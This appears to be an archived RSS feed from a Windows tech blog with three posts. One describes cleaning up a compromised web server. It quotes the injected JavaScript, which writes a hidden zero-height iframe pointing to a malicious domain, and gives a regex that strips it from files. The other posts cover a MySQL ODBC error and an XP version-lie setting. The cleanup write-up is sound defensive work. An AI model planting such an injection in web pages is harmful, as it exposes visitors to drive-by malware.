<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>jw0rd.net &#187; Server 2003</title>
	<atom:link href="http://jw0rd.net/category/server-2003/feed/" rel="self" type="application/rss+xml" />
	<link>http://jw0rd.net</link>
	<description>Archived Tech Knowledge</description>
	<lastBuildDate>Mon, 18 May 2009 00:09:42 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Visual Studio as a powerful search and replace tool</title>
		<link>http://jw0rd.net/2009/02/14/visual-studio-as-a-powerful-search-and-replace-tool/</link>
		<comments>http://jw0rd.net/2009/02/14/visual-studio-as-a-powerful-search-and-replace-tool/#comments</comments>
		<pubDate>Sun, 15 Feb 2009 02:36:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Server 2003]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://jw0rd.net/?p=138</guid>
		<description><![CDATA[Recently at work I was dealing with a server-wide compromise on a web server. A specific injection was appended to over 2000 files *.cfm files. Once getting permissions in order (the root issue) I was trying to figure out how to remove the injections. We have a very strong Storage Operations team and we make [...]]]></description>
			<content:encoded><![CDATA[<p>Recently at work I was dealing with a server-wide compromise on a web server. A specific injection was appended to over 2000 files *.cfm files. Once getting permissions in order (the root issue) I was trying to figure out how to remove the injections. We have a very strong Storage Operations team and we make backups daily, however restores tend to scare customers. Since the injections were all appended and none of the legitimate data was overwritten, it just needed to be removed.</p>
<p>Open Visual Studio and press ctrl+f. &#8220;Quick Replace&#8221; -> &#8220;Replace in Files&#8221;.</p>
<p><img src="http://jw0rd.net/wp-content/uploads/2009/02/1.jpg" alt="1" title="1" width="341" height="264" class="alignnone size-full wp-image-58" /></p>
<p>The injection we want to remove for this example is as follows:</p>
<p><code>&lt;script&gt;&lt;!--</code><br />
<code>var applstrna0 = "&lt;if";</code><br />
       <code>var applstrna1 = "rame src=http://www.maliciousdomain";</code><br />
       <code>var applstrna2 = ".com/CONTENT/faq.htm";</code><br />
       <code>var applstrna3 = " width=100 height=0&gt;&lt;/i";</code><br />
       <code>var applstrna4 = "frame&gt;";</code><br />
<code>document.write(applstrna0+applstrna1+applstrna2+applstrna3+applstrna4);</code><br />
<code>//--&gt;&lt;/script&gt;</code><br />
</br><br />
Notice the multiple line breaks and special characters, this is where Visual Studio regular expressions become handy.</p>
<p><a href="http://msdn.microsoft.com/en-us/library/2k3te2cs(VS.80).aspx">http://msdn.microsoft.com/en-us/library/2k3te2cs(VS.80).aspx</a></p>
<p>For this situation this we need to understand how to use these expressions:</p>
<p>Any character&nbsp;&nbsp;&nbsp;<strong>.</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Matches any single character except a line break.<br />
Zero or more&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>*</strong>&nbsp;&nbsp;&nbsp;&nbsp;Matches zero or more occurrences of the preceding expression, making all possible matches.<br />
Line break&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>\n</strong>&nbsp;&nbsp;&nbsp;Matches a platform-independent line break. In a Replace expression, inserts a line break.<br />
Escape&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>\</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Matches the character that follows the backslash (\) as a literal. This allows you to find the characters used in regular expression notation, such as { and ^. For example, \^ Searches for the ^ character.</p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/02/21.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/02/21-150x150.jpg" alt="21" title="21" width="150" height="150" class="alignnone size-thumbnail wp-image-129" /></a></p>
<p>Here is the final search string:</p>
<p><code>\&lt;script\&gt;\&lt;\!\-\-\n.*\"\&lt;if\"\;\n.*domain\"\;\n.*faq\.htm\"\;\n.*\=0\&gt;\&lt;\/i\"\;\n.*frame\&gt;\"\;\n.*applstrna4\)\;\n.*\&lt;\/script\&gt;</code></br><br />
Be sure to select &#8220;Use: Regular Expressions&#8221; , then &#8220;Replace all&#8221;. If you&#8217;re on an internal network you can just use a UNC path in the &#8220;Look in:&#8221; input.</p>
<p>Once it completes it will tell you how many occurrences were replaced and it will actually make a log of it in your find results pane window. </p>
<blockquote><p><code>Replace all "\&lt;script\&gt;\&lt;\!\-\-\n.*\"\&lt;if\"\;\n.*domain\"\;\n
.*faq\.htm\"\;\n.*\=0\&gt;\&lt;\/i\"\;\n.*frame\&gt;\"\;\n.*applstrna4\)\;\n
.*\&lt;\/script\&gt;", "", Regular expressions, Find Results 1, "C:\", "*.aspx"
  C:\Default.aspx(32,1):
  Total replaced: 1  Matching files: 1  Total files searched: 1</code></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://jw0rd.net/2009/02/14/visual-studio-as-a-powerful-search-and-replace-tool/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>ADODB.Field error &#8216;800a0bcd&#8217;</title>
		<link>http://jw0rd.net/2008/12/24/adodbfield-error-800a0bcd/</link>
		<comments>http://jw0rd.net/2008/12/24/adodbfield-error-800a0bcd/#comments</comments>
		<pubDate>Wed, 24 Dec 2008 17:22:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Classic ASP]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Server 2003]]></category>

		<guid isPermaLink="false">http://www.jw0rd.net/?p=26</guid>
		<description><![CDATA[ASP connecting with MySQL throws the following error:
ADODB.Field error &#8216;800a0bcd&#8217;
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
Based on the error returned it sounds like an empty recordset however it wasn&#8217;t. I wasted a lot of time debugging when in fact the problem was the [...]]]></description>
			<content:encoded><![CDATA[<p>ASP connecting with MySQL throws the following error:<br />
ADODB.Field error &#8216;800a0bcd&#8217;</p>
<p>Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.</p>
<p>Based on the error returned it sounds like an empty recordset however it wasn&#8217;t. I wasted a lot of time debugging when in fact the problem was the MySQL ODBC driver. If you see a similar error be sure to update the driver to the latest version (3.51.27.00)</p>
<p><a href="http://www.mysql.com/products/connector/odbc/" target="_blank">http://www.mysql.com/products/connector/odbc/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://jw0rd.net/2008/12/24/adodbfield-error-800a0bcd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Impersonate XP</title>
		<link>http://jw0rd.net/2008/10/21/impersonate-xp/</link>
		<comments>http://jw0rd.net/2008/10/21/impersonate-xp/#comments</comments>
		<pubDate>Tue, 21 Oct 2008 23:49:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Server 2003]]></category>

		<guid isPermaLink="false">http://www.jw0rd.net/?p=13</guid>
		<description><![CDATA[If you&#8217;re like me and you like using your server as a desktop you have probably run into the issue where an installer won&#8217;t initialize in Server 2003 even though you are sure it would run just fine. If so all you need is Application Verifier from Microsoft to trick the executable.
http://www.microsoft.com/downloads/details.aspx?FamilyID=bd02c19c-1250-433c-8c1b-2619bd93b3a2&#38;displaylang=en
Use is fairly simple, [...]]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;re like me and you like using your server as a desktop you have probably run into the issue where an installer won&#8217;t initialize in Server 2003 even though you are sure it would run just fine. If so all you need is Application Verifier from Microsoft to trick the executable.</p>
<p><a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=bd02c19c-1250-433c-8c1b-2619bd93b3a2&amp;displaylang=en" target="_blank">http://www.microsoft.com/downloads/details.aspx?FamilyID=bd02c19c-1250-433c-8c1b-2619bd93b3a2&amp;displaylang=en</a></p>
<p>Use is fairly simple, add the installer .exe and change the following attributes under Compatibility -&gt; High VersionLie</p>
<p>Major Version: 5</p>
<p>Minor Version: 1</p>
<p>Build number: 2600</p>
<p>Service pack major: 2</p>
<p>Service pack minor: 1</p>
<p>Suite Mask: 0</p>
<p>Product Type: 0</p>
<p>CSD Version:</p>
]]></content:encoded>
			<wfw:commentRss>http://jw0rd.net/2008/10/21/impersonate-xp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
